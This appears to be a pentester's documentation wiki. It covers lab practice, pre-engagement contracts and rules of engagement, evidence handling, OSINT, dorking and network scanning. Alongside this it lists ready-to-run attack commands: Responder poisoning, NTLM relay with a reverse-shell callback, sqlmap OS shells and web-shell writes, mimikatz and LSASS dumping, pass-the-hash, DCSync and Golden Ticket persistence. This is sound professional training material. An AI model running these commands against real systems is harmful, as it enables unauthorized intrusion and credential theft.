Docs - Pentesting

1 - Meta

Meta: Penetration Testing Execution Standard (PTES)

StepTask
1.Get the user flag on your own
2.Get the root flag on your own
3.Write your technical documentation
4.Write your non-technical documentation
5.Compare your notes with the official write-up
6.Create a list of information you have missed
7.Watch video or read blog walkthrough and compare it with your notes
- https://www.youtube.com/@ippsec/videos
- https://ippsec.rocks/?#
- https://www.youtube.com/@vbscrub/videos
- https://www.youtube.com/watch?v=CU9Iafc-Igs&list=PLF7JR1a3dLONdkRYU_8-5OcgOzrWe2549
- https://www.youtube.com/@LiveOverflow/videos
\
8.Expand your notes and documentation by adding the missed parts
Box
OWASP Juice ShopIs a modern vulnerable web application written in Node.js, Express, and Angular which showcases the entire OWASP Top Ten along with many other real-world application security flaws.
Metasploitable 2Is a purposefully vulnerable Ubuntu Linux VM that can be used to practice enumeration, automated, and manual exploitation.
Metasploitable 3Is a template for building a vulnerable Windows VM configured with a wide range of vulnerabilities.
DVWAThis is a vulnerable PHP/MySQL web application showcasing many common web application vulnerabilities with varying degrees of difficulty.

2 - Pre-Engagement

Checklist

This page is the master checklist where sections can be embedded into the relevant doc pages (e.g. Active Directory) via embed-section (custom Hugo shortcode for this website).

Host Discovery & ARP

  • 1. Passive Listen (Responder / tcpdump) (Run Responder in passive mode or tcpdump to observe broadcast traffic, discover hosts, and passively collect credentials before any active scanning)
  • 2. Interface & Subnet Mapping (Identify your own IP and CIDR via ip a or ipconfig to define the scope)
  • 3. Passive Neighbor Discovery (Check the local ARP cache via arp -a or ip neigh to see connected peers)
  • 4. Active Host Discovery (Run nmap -sn <CIDR> or netdiscover to sweep the subnet via ARP/ICMP)
  • 5. Role Identification (Scan live hosts for specific ports like 88/445/389 to distinguish DCs from workstations)

DNS

  • 1. Server Recon & Zone Transfer (Identify Nameservers, Bind version, and attempt dig axfr or dig any for a full dump)
  • 2. Record Enumeration (Query standard types A, MX, TXT, SRV, and run Reverse DNS/PTR against IP ranges)
  • 3. Subdomain Discovery (Combine passive cert transparency logs via crt.sh with active bruteforcing via gobuster/puredns)
  • 4. Vulnerability Analysis (Check for dangling CNAMEs for Domain Takeover, and monitor LLMNR/NBT-NS if internal)

SMB

  • 1. Anonymous Access & Share Listing (Attempt a null session via smbclient -L <IP> -N or crackmapexec smb <IP> --shares to list shares without credentials)
  • 2. Comprehensive Enumeration (Run enum4linux-ng -A <IP> to automatically dump users, groups, OS info, and password policies)
  • 3. Share Content Inspection (Mount accessible shares or use smbclient to browse directories for sensitive files, scripts, or backups)
  • 4. Security Posture Check (Use nmap --script=smb-security-mode to verify if SMB signing is required, which is critical for preventing relay attacks)

Web

  • 1. Technology & Security Fingerprinting (Use whatweb and nikto to identify the server, frameworks, and WAF, and curl to inspect headers and robots.txt)
  • 2. Content & vHost Discovery (Run feroxbuster or gobuster dir to bruteforce directories/files, and gobuster vhost to find hidden virtual hosts)
  • 3. Automated Vulnerability Scanning (Use nikto or wapiti to scan for common misconfigurations and known vulnerabilities like outdated software)
  • 4. Manual Application Testing (OWASP Top 10) (After automated scans, manually inspect the application for logical flaws, focusing on Injection, Broken Access Control, and XSS)

SQL

If these steps fail, the target is likely not vulnerable via automation.

Phase 1: Injection & Tuning

  • Manual Triage (Burp): Confirm “True” vs “False” response size manually. Never run SQLMap blind.
  • The Setup: Save request to req.txt. Mark injection point with *. (sqlmap -r req.txt --batch)
  • The Unlocker (Tuning): Logic (OR) or Brackets ()))) failing? (--level 5 --risk 3)
  • The Syntax Fix: SQLMap guessing wrong boundaries? (--prefix="')" - Match your Burp findings).
  • The Speedup: Time-based checks taking forever? (--technique=BEU - Force Boolean/Error/Union only).

Phase 2: Stability & Evasion

  • The Hallucination Fix: “2 letters off” or garbage data? (--string="SuccessMsg" or --text-only).
  • The Bypass: WAF blocking or 403s? (--random-agent --tamper=space2comment --skip-waf).

Phase 3: Loot & Shells

  • The Recon: Check privileges immediately. (--is-dba --current-db).
  • The Dump: Surgical extraction (Don’t dump the world). (-D <DB> -T <TABLE> -C <USER,PASS> --dump).
  • The Endgame (RCE): DBA is True? (--os-shell (Add --technique=E if empty) OR --file-write="shell.php").

Troubleshooting (Panic Modifiers) Add these to The Dump if injection exists but data fails to extract.

  • --union-cols=X: Manually set column count (if SQLMap counts wrong).
  • --no-cast: Disable payload casting (Fixes specific DB errors).
  • --hex: Encode data extraction (Bypasses WAF filters on output).

Active Directory

  • 1. Domain & Network Identification (Identify DC IP, Domain Name, Ports 53/88/389/445, net config workstation)
  • 2. User Enumeration (Build target list via Kerbrute, RID Cycling, or net user /domain)
  • 3. Initial Credential Acquisition (Run Responder for LLMNR/NBT-NS poisoning, check AS-REP Roasting)
  • 4. BloodHound Collection & Analysis (Run SharpHound, upload data, analyze “Shortest Paths” and “High Value Targets”)
  • 5. Service & Misconfiguration Hunting (Kerberoasting TGS, check SYSVOL/GPP for passwords, DNS/Printer Bug checks)
  • 6. ACL & Object Rights Analysis (Check for “Dangerous Rights” like GenericAll/WriteDACL via PowerView or BloodHound)
  • 7. Certificate Services (ADCS) Check (Enumerate vulnerable templates, Shadow Credentials/PyWhisker, Pass-the-Certificate)
  • 8. Access & Admin Validation (Check Local Admin rights, test RDP/WinRM access, verify “Double Hop” status)
  • 9. Lateral Movement (Execute Pass-the-Hash, Pass-the-Ticket, or Overpass-the-Hash to pivot)
  • 10. Domain Dominance (Perform DCSync to dump NTDS.dit, create Golden Tickets, enumerate Trusts)

Penetration Test: Pre-Engagement Template

1. Project Metadata

  • Client Name: [Client Name]
  • Project Name: [Project Name / Engagement Title]
  • Date Created: [YYYY-MM-DD]
  • Start Date: [YYYY-MM-DD]
  • End Date: [YYYY-MM-DD]

Key Personnel

  • Primary Client Contact: [Name, Title, Email, Phone]
  • Secondary Client Contact: [Name, Title, Email, Phone]
  • Technical Support Contact: [Name, Title, Email, Phone]
  • Signatory Authority: [Name, Title]
  • Lead Penetration Tester: [Your Name]

2. Master Document Checklist

  • 1. Non-Disclosure Agreement (NDA)

    • Status: [Pending | Signed]
    • Notes:
  • 2. Scoping Questionnaire

    • Status: [Sent | Received | Reviewed]
    • Notes:
  • 3. Scoping Document

    • Status: [Drafting | Finalized]
    • Notes:
  • 4. Penetration Testing Proposal (Contract/SoW)

    • Status: [Drafting | Sent | Signed]
    • Notes:
  • 5. Rules of Engagement (RoE)

    • Status: [Drafting | Finalized | Signed]
    • Notes:
  • 6. Contractors Agreement (Physical Assessments)

    • Status: [N/A | Required | Signed]
    • Notes:
  • 7. Reports

    • Status: [In Progress | Delivered]
    • Notes:

3. Scoping Questionnaire

Assessment Type(s) Required

  • Internal Vulnerability Assessment
  • External Vulnerability Assessment
  • Internal Penetration Test
  • External Penetration Test
  • Wireless Security Assessment
  • Application Security Assessment
  • Physical Security Assessment
  • Social Engineering Assessment
  • Red Team Assessment
  • Web Application Security Assessment

Notes on specific requirements (e.g., black box, evasiveness, vishing):

Critical Scoping Information

  • How many expected live hosts?

    Answer:

  • How many IPs/CIDR ranges in scope?

    Answer:

  • How many Domains/Subdomains are in scope?

    Answer:

  • How many wireless SSIDs in scope?

    Answer:

  • How many web/mobile applications? Authenticated roles?

    Answer:

  • For phishing: how many users targeted? List provided?

    Answer:

  • For physical assessment: how many locations? Geographically dispersed?

    Answer:

  • Objective of the Red Team Assessment? Out of scope activities?

    Answer:

  • Is a separate Active Directory Security Assessment desired?

    Answer:

  • Will network testing be anonymous or as a standard domain user?

    Answer:

  • Do we need to bypass Network Access Control (NAC)?

    Answer:

Information Disclosure & Evasiveness

  • Information Disclosure Level:

    • Black Box (no information provided)
    • Grey Box (IPs/URLs provided)
    • White Box (detailed information provided)
  • Evasiveness Level:

    • Non-Evasive
    • Hybrid-Evasive (start quiet, get louder)
    • Fully Evasive

4. Contract / Scope of Work (SoW) Checklist

  • NDA:

    • A secrecy contract between the client and contractor.
    • Notes:
  • Goals:

    • High-level and fine-grained milestones to be achieved.
    • Notes:
  • Scope:

    • Individual components to be tested (domains, IPs, specific accounts).
    • Notes:
  • Penetration Testing Type:

    • The chosen type of test (e.g., Internal, External, Web App).
    • Notes:
  • Methodologies:

    • Examples: OSSTMM, OWASP, PTES.
    • Notes:
  • Penetration Testing Locations:

    • External (Remote via VPN) and/or Internal.
    • Notes:
  • Time Estimation:

    • Start and end dates for the entire engagement and for specific phases (Exploitation, Post-Ex). Testing hours (during/after business hours).
    • Notes:
  • Third Parties:

    • Any cloud providers, ISPs, or hosting providers involved. Written consent must be obtained from them by the client.
    • Notes:
  • Evasive Testing:

    • Clarify if techniques to evade security systems are in scope.
    • Notes:
  • Risks:

    • Inform the client of potential risks (e.g., system instability, locked accounts).
    • Notes:
  • Scope Limitations & Restrictions:

    • Which servers, workstations, or network components are critical and must be avoided.
    • Notes:
  • Information Handling:

    • Compliance requirements (e.g., HIPAA, PCI, NIST).
    • Notes:
  • Contact Information:

    • A full list of contacts and an escalation priority order.
    • Notes:
  • Lines of Communication:

    • E-mail, phone calls, personal meetings.
    • Notes:
  • Reporting:

    • Structure of the report, customer-specific requirements, and presentation plans.
    • Notes:
  • Payment Terms:

    • Prices and terms of payment.
    • Notes:

5. Rules of Engagement (RoE) Checklist

  • Introduction: Description of the RoE document.
  • Contractor: Company name, key contacts.
  • Penetration Testers: Names of testers.
  • Contact Information: Full contact details for all parties.
  • Purpose: Purpose of the penetration test.
  • Goals: Goals to be achieved.
  • Scope: All IPs, domains, URLs, CIDR ranges.
  • Lines of Communication: E-mail, phone, etc.
  • Time Estimation: Start and end dates.
  • Time of the Day to Test: Specific testing hours.
  • Penetration Testing Type: The specific type of test.
  • Penetration Testing Locations: How the connection to the client network is established.
  • Methodologies: OSSTMM, PTES, OWASP, etc.
  • Objectives / Flags: Specific users, files, or information to target.
  • Evidence Handling: Encryption and secure protocols for handling evidence.
  • System Backups: Acknowledgment of client’s backup procedures.
  • Information Handling: Strong data encryption requirements.
  • Incident Handling and Reporting: Process for emergency contact and test interruptions.
  • Status Meetings: Frequency, dates, times, and attendees.
  • Reporting: Type, target readers, and focus of the final report.
  • Retesting: Start and end dates for retesting patched vulnerabilities.
  • Disclaimers and Limitation of Liability: System damage, data loss.
  • Permission to Test: Confirmation of signed contract.

6. Kick-Off Meeting Agenda

  • Attendees:
    • [List of Client POCs]
    • [List of Client Technical Staff]
    • [List of Pentesting Team Members]
  • Agenda Items:
    • Review nature and scope of the penetration test.
    • Confirm Rules of Engagement (RoE).
    • Define “Critical Vulnerability” and the process for immediate notification (e.g., for unauthenticated RCE).
    • Discuss potential risks (log entries, alarms, accidental account lockouts).
    • Explain the full penetration testing process in a clear, non-technical way.
    • Confirm client’s goals and priorities.
    • Open floor for Q&A.

7. Physical Assessment Addendum

  • Introduction
  • Contractor
  • Purpose
  • Goal
  • Penetration Testers
  • Contact Information
  • Physical Addresses
  • Building Name
  • Floors
  • Physical Room Identifications
  • Physical Components
  • Timeline
  • Notarization
  • Permission to Test (“Get Out of Jail Free Card”)

Pre-Engagement

Evidence Collection

  • Centralize Project Data: Maintain one place for scope (IPs/URLs), client contacts, Rules of Engagement (RoE), and a running to-do list.
  • Document the Attack Path: As you move through the network, document the full chain of exploits with raw command output and screenshots.
  • Maintain a Credential Log: Keep a separate, centralized list of all compromised credentials, keys, and secrets.
  • Isolate Findings: Create a dedicated folder/note for each distinct vulnerability. Write the narrative and save evidence as you discover it, not after.
  • Track Payloads & Modifications: Keep a log of all uploaded payloads (with file hashes and paths) and any system modifications made (accounts created, settings changed, timestamps, host IPs).
  • Get Approval for Destructive Actions: Always get written client approval before making system changes or running tests that could impact stability.
    • For any big changes always save:
      • IP address of the host(s)/hostname(s) where the change was made
      • Timestamp of the change
      • Description of the change
      • Location on the host(s) where the change was made
      • Name of the application or service that was tampered with
      • Name of the account (if you created one) and perhaps the password in case you are required to surrender it
  • Prioritize Terminal Output: Use raw text from your terminal over screenshots. It’s easier to redact, format, and allows clients to copy-paste commands. Use <SNIP> for brevity but never alter the output.
  • Redact Securely:
    • Use solid black boxes to redact PII and credentials, not blur or pixelation (which can be reversed).
    • Burn redactions directly into the image file itself, not as a shape overlay in a Word document.
  • Handle Sensitive Data Safely: Do not exfiltrate raw PII. Screenshot directory listings instead of downloading sensitive files to prove access.

Collection Structure

Also see [[tmux]] and use tmux logging to automatically collect the terminal output.

mkdir -p {Admin,Deliverables,Evidence/{Findings,Scans/{Vuln,'Service Enum','Web Enum','AD Enum'},Notes,OSINT,'Log Output','Misc Files'},Retest}
  • Admin
    • Scope of Work (SoW) that you’re working off of, your notes from the project kickoff meeting, status reports, vulnerability notifications, etc
  • Deliverables
    • Folder for keeping your deliverables as you work through them. This will often be your report but can include other items such as supplemental spreadsheets and slide decks, depending on the specific client requirements.
  • Evidence
    • Findings
      • We suggest creating a folder for each finding you plan to include in the report to keep your evidence for each finding in a container to make piecing the walkthrough together easier when you write the report.
    • Scans
      • Vulnerability scans
        • Export files from your vulnerability scanner (if applicable for the assessment type) for archiving.
      • Service Enumeration
        • Export files from tools you use to enumerate services in the target environment like Nmap, Masscan, Rumble, etc.
      • Web
        • Export files for tools such as ZAP or Burp state files, EyeWitness, Aquatone, etc.
      • AD Enumeration
        • JSON files from BloodHound, CSV files generated from PowerView or ADRecon, Ping Castle data, Snaffler log files, CrackMapExec logs, data from Impacket tools, etc.
    • Notes
      • A folder to keep your notes in.
    • OSINT
      • Any OSINT output from tools like Intelx and Maltego that doesn’t fit well in your notes document.
    • Wireless
      • Optional if wireless testing is in scope, you can use this folder for output from wireless testing tools.
    • Logging output
      • Logging output from Tmux, Metasploit, and any other log output that does not fit the Scan subdirectories listed above.
    • Misc Files
      • Web shells, payloads, custom scripts, and any other files generated during the assessment that are relevant to the project.
  • Retest
    • This is an optional folder if you need to return after the original assessment and retest the previously discovered findings. You may want to replicate the folder structure you used during the initial assessment in this directory to keep your retest evidence separate from your original evidence.

Client Communication

Send start notification email including information such as:

  • Tester name
  • Description of the type/scope of the engagement
  • Source IP address for testing (public IP for an external attack host or the internal IP of our attack host if we are performing an Internal Penetration Test)
  • Dates anticipate for testing
  • Primary and secondary contact information (email and phone)

At the end of each day, we should send a stop notification to signal the end of testing

Email Template

Subject: External Penetration Test - Start of Testing
From:
To:
Cc:
Date: Mon 6/20/2022 8:29AM

Good Morning,

This email is to notify you that the External Penetration Test against <COMPANY>'s internet-facing network assets has begun. All testing traffic will originate from the following IP address:
<TARGETS>

While we do not anticipate service disruptions during testing, if any issues arise, please do not hesitate to reach out via the cell phone number or email address in my signature line.

If I am unavailable for any reason, the secondary contact for this engagement will be:

<NAME>
<TITLE>
<PHONE>
<EMAIL>

As discussed during the kickoff call, I will send out a vulnerability notification for any high-risk vulnerabilities uncovered against internet-facing hosts. The assessment will begin with manual and automated information gathering and enumeration scans, then proceed to manual testing and validation of scan results.


Thank you, and I look forward to a productive assessment.

Regards,
<NAME>
<TITLE> | <COMPANY>
<PHONE>
<WEBSITE>
<EMAIL>

Baseline Tracking of Technological Assets

Diagrams.net: https://app.diagrams.net/

  • DNS records, network device backups, and DHCP configurations
  • Full and current application inventory
  • A list of all enterprise hosts and their location
  • Users who have elevated permissions
  • A list of any dual-homed hosts (2+ network interfaces)
  • Keeping a visual network diagram of your environment

People, Processes, and Technology

Processes

  • Proper policies and procedures for asset monitoring and management
    • Host audits, the use of asset tags, and periodic asset inventories can help ensure hosts are not lost
  • Access control policies (user account provisioning/de-provisioning), multi-factor authentication mechanisms
  • Processes for provisioning and decommissioning hosts (i.e., baseline security hardening guideline, gold images)
  • Change management processes to formally document who did what and when they did it

Perimeter First

  • What exactly are we protecting?
  • What are the most valuable assets the organization owns that need securing?
  • What can be considered the perimeter of our network?
  • What devices & services can be accessed from the Internet? (Public-facing)
  • How can we detect & prevent when an attacker is attempting an attack?
  • How can we make sure the right person &/or team receives alerts as soon as something isn’t right?
  • Who on our team is responsible for monitoring alerts and any actions our technical controls flag as potentially malicious?
  • Do we have any external trusts with outside partners?
  • What types of authentication mechanisms are we using?
  • Do we require Out-of-Band (OOB) management for our infrastructure. If so, who has access permissions?
  • Do we have a Disaster Recovery plan?

Internal Considerations

  • Are any hosts that require exposure to the internet properly hardened and placed in a DMZ network?
  • Are we using Intrusion Detection and Prevention systems within our environment?
  • How are our networks configured? Are different teams confined to their own network segments?
  • Do we have separate networks for production and management networks?
  • How are we tracking approved employees who have remote access to admin/management networks?
  • How are we correlating the data we are receiving from our infrastructure defenses and end-points?
  • Are we utilizing host-based IDS, IPS, and event logs?

3rd Parties Infrastructure

Sensitive Data Regulations

Sample Engagement

Phase 1: Initial Reconnaissance & Network Mapping

  • Host Discovery: Perform a quick Nmap scan to identify live hosts and common services.
    • nmap -T4 -p 21,22,23,53,80,139,443,445,3389 --open -iL <scope.txt> -oG nmap_quick
  • Web Service Screenshotting: Use gowitness or EyeWitness on discovered web ports (80, 443, 8080, etc.) to visually identify interesting applications.
    • gowitness nmap -f nmap_quick
  • Full Port Scan: Run a comprehensive Nmap scan in the background on all live hosts to discover non-standard services.
    • nmap -T4 -p- -sV -sC -iL <live_hosts.txt> -oA nmap_full
  • Vulnerability Scanning: Run a Nessus (or equivalent) authenticated scan.
    • Note: This is primarily for the client’s benefit to identify patching gaps. Exploits from this are secondary to credential-based attacks.
  • Identify Relay Targets: Use netexec to find hosts with SMB signing disabled, creating a target list for relay attacks.
    • nxc smb <CIDR> --gen-relay-list smb_relay_targets.txt

Phase 2: Initial Access & Foothold

  • LLMNR/NBT-NS Poisoning: Start Responder to poison local name resolution and capture NTLMv2 hashes from hosts on the same broadcast domain.
    • responder -I <interface> -dwPv
  • NTLM Relay Attack: In parallel with Responder, run Impacket’s ntlmrelayx.py to relay captured hashes to the list of SMB-signing-disabled hosts. The goal is to execute a command or dump local hashes.
    • ntlmrelayx.py -tf smb_relay_targets.txt -smbsupport -c "whoami"
  • AD CS Enumeration (Critical): Use Certipy to find vulnerable certificate templates in Active Directory Certificate Services. This is a primary vector for privilege escalation.
    • certipy find -u '<user>' -p '<password>' -dc-ip <DC_IP> -vulnerable
  • Anonymous Enumeration: Check for anonymous access to SMB shares and LDAP.
    • nxc smb <CIDR> -u '' -p '' --shares
  • Offline Password Cracking: Use Hashcat on any captured NTLMv2 hashes. A successful crack provides the first set of valid user credentials.
    • hashcat -m 5600 hashes.txt /path/to/wordlist.txt

Phase 3: Post-Compromise Situational Awareness

At this point, we assume a valid user credential (username/password or hash) has been acquired.

  • BloodHound Data Collection: Run the SharpHound ingestor to collect AD data. This is the most critical step to visualize attack paths.
    • SharpHound.exe -c All
  • Kerberoasting: Use Rubeus or Impacket’s GetUserSPNs.py to request service tickets (TGS) for accounts with Service Principal Names (SPNs). Attempt to crack these offline with Hashcat.
    • Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
  • Enumerate User Privileges: Use netexec with the obtained credential to determine where the user has local administrator rights.
    • nxc smb <CIDR> -u '<user>' -p '<password>' --local-auth
  • Host-Based Enumeration: On any system where you have access (even as a low-privilege user), run situational awareness tools like Seatbelt to find sensitive data, saved browser credentials, or misconfigurations.
    • Seatbelt.exe -group=all

Phase 4: Privilege Escalation & Lateral Movement

  • Pivoting with Admin Rights: If the user has local admin rights on a machine, pivot to it.
  • Credential Dumping: Dump credentials from the compromised machine’s memory (LSASS) and SAM database.
    • nxc smb <target_IP> -u '<user>' -p '<password>' --local-auth -M lsassy
    • nxc smb <target_IP> -u '<user>' -p '<password>' --local-auth --sam
  • Pass-the-Hash: Use the dumped local administrator hash to move laterally to other workstations, leveraging the common practice of local admin password reuse.
    • nxc smb <CIDR> -u Administrator -H <ntlm_hash> --local-auth
  • Analyze BloodHound Data: Ingest the collected data into the BloodHound UI. Look for:
    • Shortest paths to Domain Admins.
    • Users with dangerous rights (GenericAll, WriteDACL) over other objects.
    • Domain Admins logged into workstations where you now have local admin access.

Phase 5: Domain Dominance

  • Targeting Domain Admin Sessions: Using BloodHound, identify a workstation where a Domain Admin is logged in and you have local admin rights.
  • DA Credential Extraction: Pivot to that machine and dump credentials from LSASS. Capturing a DA’s ticket or hash from memory is often the final step.
    • mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
  • Process Injection (If Needed): If credentials are not in LSASS but the DA is logged on, gain an interactive shell and inject into a process owned by the DA to inherit their permissions.
  • DCSync: Once DA-equivalent privileges are obtained, use Impacket’s secretsdump.py or mimikatz to perform a DCSync attack, dumping all NTLM hashes from the Domain Controller.
    • secretsdump.py <domain>/<DA_user>:<password>@<DC_IP> -just-dc-ntlm
  • Persistence: Create a Golden Ticket using the krbtgt hash obtained from the DCSync to maintain persistent access to the entire domain.

3 - Info Gathering

Passive Information Gathering

Enumeration

Primary source of information will be:

  • scoping document (in-scope assets)
  • passive OSINT
No.Principle
1.There is more than meets the eye. Consider all points of view.
2.Distinguish between what we see and what we do not see.
3.There are always ways to gain more information. Understand the target.
LayerNameGoal / Purpose
1Internet PresenceDiscover Assets: Identify all public-facing domains, subdomains, IPs, and netblocks.
2GatewayAnalyze the Perimeter: Understand the target’s external interfaces and protection mechanisms (e.g., WAF, firewall).
3Accessible ServicesEnumerate Services: Identify and understand the function of every open port and running service on the discovered assets.
4ProcessesUnderstand Functionality: Analyze how data is processed by services and identify dependencies between inputs and outputs.
5PrivilegesIdentify Permissions: Determine the privileges of each service’s user account and look for overlooked or excessive permissions.
6OS SetupInternal Recon: After gaining access, gather information on the OS configuration, security posture, and admin practices.

External Recon (OSINT)

  • Public DNS and domain ownership records
  • Email Addresses
    • You can then use these to check if any have been involved in a breach or use Google Dorks to search for them on sites like Pastebin
  • Subdomains
  • Third-party vendors
  • Similar domains
  • Public cloud resources
Data PointDescription
IP SpaceValid ASN for our target, netblocks in use for the organization’s public-facing infrastructure, cloud presence and the hosting providers, DNS record entries, etc.
Domain InformationBased on IP data, DNS, and site registrations. Who administers the domain? Are there any subdomains tied to our target? Are there any publicly accessible domain services present? (Mailservers, DNS, Websites, VPN portals, etc.) Can we determine what kind of defenses are in place? (SIEM, AV, IPS/IDS in use, etc.)
Schema FormatCan we discover the organization’s email accounts, AD usernames, and even password policies? Anything that will give us information we can use to build a valid username list to test external-facing services for password spraying, credential stuffing, brute forcing, etc.
Data DisclosuresFor data disclosures we will be looking for publicly accessible files ( .pdf, .ppt, .docx, .xlsx, etc. ) for any information that helps shed light on the target. For example, any published files that contain intranet site listings, user metadata, shares, or other critical software or hardware in the environment (credentials pushed to a public GitHub repo, the internal AD username format in the metadata of a PDF, for example.)
Breach DataAny publicly released usernames, passwords, or other critical information that can help an attacker gain a foothold.

And where to find that above information…

ResourceExamples
ASN / IP registrarsIANA, arin for searching the Americas, RIPE for searching in Europe, BGP Toolkit
Domain Registrars & DNSDomaintools, PTRArchive, ICANN, manual DNS record requests against the domain in question or against well known DNS servers, such as 8.8.8.8.
Social MediaSearching Linkedin, Twitter, Facebook, your region’s major social media sites, news articles, and any relevant info you can find about the organization.
Public-Facing Company WebsitesOften, the public website for a corporation will have relevant info embedded. News articles, embedded documents, and the “About Us” and “Contact Us” pages can also be gold mines.
Cloud & Dev Storage SpacesGitHub, AWS S3 buckets & Azure Blog storage containers, Google searches using “Dorks”
Breach Data SourcesHaveIBeenPwned to determine if any corporate email accounts appear in public breach data, Dehashed to search for corporate emails with cleartext passwords or hashes we can try to crack offline. We can then try these passwords against any exposed login portals (Citrix, RDS, OWA, 0365, VPN, VMware Horizon, custom applications, etc.) that may use AD authentication.

via DNS

Great to validate and discover new information, especially from IP and ASN searches.

via Search Engine Dorking

via Social Media

Check various sites, especially for different types of IT admins, to skim information about hardware, software, or services used:

  • LinkedIn.com
  • Indeed.com
  • Glassdoor.com

via other Services

Internal Recon

Passively, sampling the traffic can be a great way to understand the network insofar as hosts, services, and maybe even sometimes credentials

See more about… Protocol Poisoners

Source: Docs > 5 - Exploitation > protocol-poisoners

These are a great way to passively enumerate or sniff for creds for traffic inside of the network.

Responder

  • https://github.com/lgandx/Responder
    • Configuration services: /etc/responder/Responder.conf
      • CHECK FOR PORT CONFLICTS!
    • Logs (creds) saved to: /usr/share/responder/logs/
  • Attacks the following protocols:
    • LLMNR
    • DNS
    • MDNS
    • NBNS
    • DHCP
    • ICMP
    • HTTP
    • HTTPS
    • SMB
    • LDAP
    • WebDAV
    • Proxy Auth
    • MSSQL
    • DCE-RPC
    • FTP, POP3, IMAP, and SMTP auth

Passive (listen only)

Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.

sudo responder -I <INTERFACE> -A

Active (respond / relay)

Sends responses or relays auth: can trigger login prompts or relay hashes to a target

# Force WPAD; may cause a login prompt
sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE>

# Relay NTLM to target and execute a callback (e.g. rev shell)
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'

Inveigh

Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.

# Download latest release (Windows x64, single-file trimmed build)
TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or:
# dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true

# Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit)
.\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y
# Sample the network traffic
sudo tcpdump -i <INTERFACE> -w <OUTPUT_FILE>

Search Engine Dorking

site:
inurl:
filetype:
intitle:
intext:
inbody:
cache:
link:
related:
info:
define:
numrange:
allintext:
allinurl:
allintitle:

# Operators
AND
OR
NOT
*
..
" "
-
+

### EXAMPLES
# Find Emails
inurl:<DOMAIN> intext:"@<DOMAIN>"

# Finding Login Pages:
site:<DOMAIN> inurl:login
site:<DOMAIN> (inurl:login OR inurl:admin)

# Identifying Exposed Files:
site:<DOMAIN> filetype:pdf
site:<DOMAIN> (filetype:xls OR filetype:docx)
inurl:<DOMAIN> filetype:pdf  # !!! careful this one can show malicious site hosting cached files !!!

# Uncovering Configuration Files:
site:<DOMAIN> inurl:config.php

# (searches for extensions commonly used for configuration files)
site:<DOMAIN> (ext:conf OR ext:cnf)

# Locating Database Backups:
site:<DOMAIN> inurl:backup
site:<DOMAIN> filetype:sql

4 - Vuln Analysis

0) Scanning

Host Discovery & ARP

See more about… Host Discovery & ARP

Source: Docs > 2 - Pre-Engagement > checklist#host-discovery--arp

Host Discovery & ARP

  • 1. Passive Listen (Responder / tcpdump) (Run Responder in passive mode or tcpdump to observe broadcast traffic, discover hosts, and passively collect credentials before any active scanning)
  • 2. Interface & Subnet Mapping (Identify your own IP and CIDR via ip a or ipconfig to define the scope)
  • 3. Passive Neighbor Discovery (Check the local ARP cache via arp -a or ip neigh to see connected peers)
  • 4. Active Host Discovery (Run nmap -sn <CIDR> or netdiscover to sweep the subnet via ARP/ICMP)
  • 5. Role Identification (Scan live hosts for specific ports like 88/445/389 to distinguish DCs from workstations)
# -p: source port
# TCP
nc -nvzw5 <TARGET> <PORT>
# UDP
nc -unvzw5 <TARGET> <PORT>

# Connect to Encrypted Service (TLS/SSL)
openssl s_client -starttls ftp -connect <TARGET>:<PORT>

# Banner Grabbing
sudo nmap -n -Pn --script banner.nse <TARGET>

Ping Sweeps

NOTE: sometimes ARP caches are delayed or not built… so running a ping sweep 2x is helpful

# NIX
for i in {1..254} ; do (ping -c1 <TARGET_SUBNET>.$i | grep "bytes from" &) ; done

#  WIN: DOS
# !!! LEAVE OFF LAST OCTET !!!
for /L %i in (1 1 254) do ping <TARGET_SUBNET>.%i -n 1 -w 100 | find "Reply"
# Win: PowerShell
# !!! LEAVE OFF LAST OCTET !!!
1..254 | % { $ip="<TARGET_SUBNET>.$_"; if ((New-Object System.Net.NetworkInformation.Ping).Send($ip, 100).Status -eq "Success") { "$($ip): True" } }

# Metasploit
run post/multi/gather/ping_sweep RHOSTS=<TARGET_SUBNET>
See more about… Nmap

Source: Docs > 9 - Notes > nmap

Scanning

  • Open - received TCP SYN-ACK
  • Closed - received TCP RST
  • Filtered - no response
  • Unfiltered - (with -sA TCP ACK scans) can’t determine the state, but the port is accessible
  • Open/Filtered - can’t tell if the port is open or blocked by a firewall
  • Closed/Filtered - (with -sI IP ID idle scan) can’t tell if the port is closed or blocked by a firewall
# Host Discovery
sudo nmap --open -oA host_discovery_simple.txt -iL scope.txt 

# NOTE: this is optimized for labs:
# -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1
sudo nmap -n -sn -v --stats-every 30s -PS445,80,443,3389,135,5985,22,8080,111 -oA host_discovery.txt -iL scope.txt -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1

---

awk '/Up$/{print $2}' host_discovery.txt > live_hosts.txt

For “ghost hosts” consider: -PU137,138,161,53,67,123,500,4500 to scan UDP (though very slow)

# All ports (TCP Full Scan)
rustscan -a live_hosts.txt --ulimit 5000 -- -sC -sV -v --stats-every 30s -oA nmap_rustscan_all_ports

# Massive network (SYN Half Scan)
sudo masscan --rate 1000 -p1-65535 -iL live_hosts.txt -oL masscan.txt -e <INTERFACE> 
PORTS=$(awk '/open/ {print $3}' masscan.txt | sort -u | paste -sd, -)
sudo nmap --stats-every 30s -sS -sV -sC -v -p$PORTS -oA nmap_masscan_all_ports <TARGET>
# UDP
